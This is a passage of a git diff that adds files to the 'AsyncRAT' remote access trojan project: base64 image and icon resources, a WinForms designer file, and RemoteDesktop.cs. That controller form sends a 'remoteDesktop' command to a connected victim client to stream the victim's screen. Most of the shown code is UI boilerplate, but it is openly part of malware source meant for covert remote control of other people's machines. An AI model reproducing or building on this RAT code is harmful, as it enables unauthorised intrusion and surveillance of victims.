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
|
||||
gg==
|
||||
</value>
|
||||
</data>
|
||||
</root>
|
||||
75
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs
generated
Normal file
75
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs
generated
Normal file
@ -0,0 +1,75 @@
|
||||
namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
partial class RemoteDesktop
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RemoteDesktop));
|
||||
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// pictureBox1
|
||||
//
|
||||
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new System.Drawing.Size(938, 485);
|
||||
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
||||
this.pictureBox1.TabIndex = 0;
|
||||
this.pictureBox1.TabStop = false;
|
||||
//
|
||||
// timer1
|
||||
//
|
||||
this.timer1.Enabled = true;
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
|
||||
//
|
||||
// RemoteDesktop
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(938, 485);
|
||||
this.Controls.Add(this.pictureBox1);
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.Name = "RemoteDesktop";
|
||||
this.Text = "RemoteDesktop";
|
||||
this.Activated += new System.EventHandler(this.RemoteDesktop_Activated);
|
||||
this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate);
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
public System.Windows.Forms.PictureBox pictureBox1;
|
||||
private System.Windows.Forms.Timer timer1;
|
||||
}
|
||||
}
|
||||
61
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
Normal file
61
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
Normal file
@ -0,0 +1,61 @@
|
||||
using StreamLibrary;
|
||||
using StreamLibrary.UnsafeCodecs;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using AsyncRAT_Sharp.Sockets;
|
||||
using AsyncRAT_Sharp.MessagePack;
|
||||
|
||||
namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
public partial class RemoteDesktop : Form
|
||||
{
|
||||
public RemoteDesktop()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
public Form1 F { get; set; }
|
||||
internal Clients C { get; set; }
|
||||
public bool Active { get; set; }
|
||||
public int FPS = 0;
|
||||
public Stopwatch sw = Stopwatch.StartNew();
|
||||
public Stopwatch RenderSW = Stopwatch.StartNew();
|
||||
public IUnsafeCodec decoder = new UnsafeStreamCodec(80);
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!C.Client.Connected)
|
||||
{
|
||||
this.Close();
|
||||
}
|
||||
}
|
||||
|
||||
private void RemoteDesktop_Activated(object sender, EventArgs e)
|
||||
{
|
||||
if (Active == false)
|
||||
{
|
||||
Active = true;
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "true";
|
||||
C.BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
|
||||
private void RemoteDesktop_Deactivate(object sender, EventArgs e)
|
||||
{
|
||||
if (Active == true)
|
||||
{
|
||||
Active = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
580
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx
Normal file
580
AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx
Normal file
@ -0,0 +1,580 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>17, 17</value>
|
||||
</metadata>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
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
|
||||
